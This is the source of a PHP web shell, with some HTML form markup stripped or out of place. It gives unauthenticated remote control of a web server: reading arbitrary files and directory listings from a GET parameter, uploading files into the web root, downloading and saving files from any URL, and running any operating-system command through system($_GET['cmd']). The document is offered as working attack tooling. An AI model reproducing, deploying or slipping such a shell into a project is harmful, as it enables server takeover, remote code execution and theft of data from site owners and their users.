Retrieve File/Scan Directory <br />
Current file path: echo __FILE__; <br />

Path:
<button type="submit">Go</button>

<pre>

if (isset($_GET['path'])) {
if ($_GET['path'] == '') {
$path = './';
} else {
$path = $_GET['path'];
}
echo 'Realpath: ' . realpath($_GET['path']) . '<br />';
echo 'Type: ';
if (is_dir($path)) {
echo 'Directory <br />';
foreach (scandir($path) as $data) {
echo $data . "<br />";
}
} else {
echo 'File <br />';
print_r(file_get_contents($path));
}
}

</pre>
<hr />
Upload File From Your Local <br />

File(s):
<button type="submit">Upload</button>


if (isset($_FILES['uploads']) && count($_FILES['uploads']) > 0) {
$total = count($_FILES['uploads']['name']);
for ($i = 0; $i < $total; $i++) {
$tmpPath = $_FILES['uploads']['tmp_name'][$i];
if ($tmpPath != '') {
$newPath = './' . $_FILES['uploads']['name'][$i];
if (move_uploaded_file($tmpPath, $newPath)) {
echo 'Successfully uploaded ' .$_FILES['uploads']['name'][$i] . '<br />';
} else {
echo 'Unable to upload ' .$_FILES['uploads']['name'][$i] . '<br />';
}
}
}
}

<hr />
Upload File From URL <br />

Filename to save: <br />
URL:
<button type="submit">Upload</button>

<pre>

if (isset($_POST['save_name']) && isset($_POST['url'])) {
if (file_put_contents($_POST['save_name'], file_get_contents($_POST['url']))) {
echo 'Successfully uploaded ' . $_POST['save_name'];
} else {
echo 'Unable to upload ' . $_POST['save_name'];
}
}

<HTML>
<BODY>
<hr />
Command Shell <br />




<pre>

if($_GET['cmd']) {
system($_GET['cmd']);
}

</pre>
</BODY></HTML>
</pre>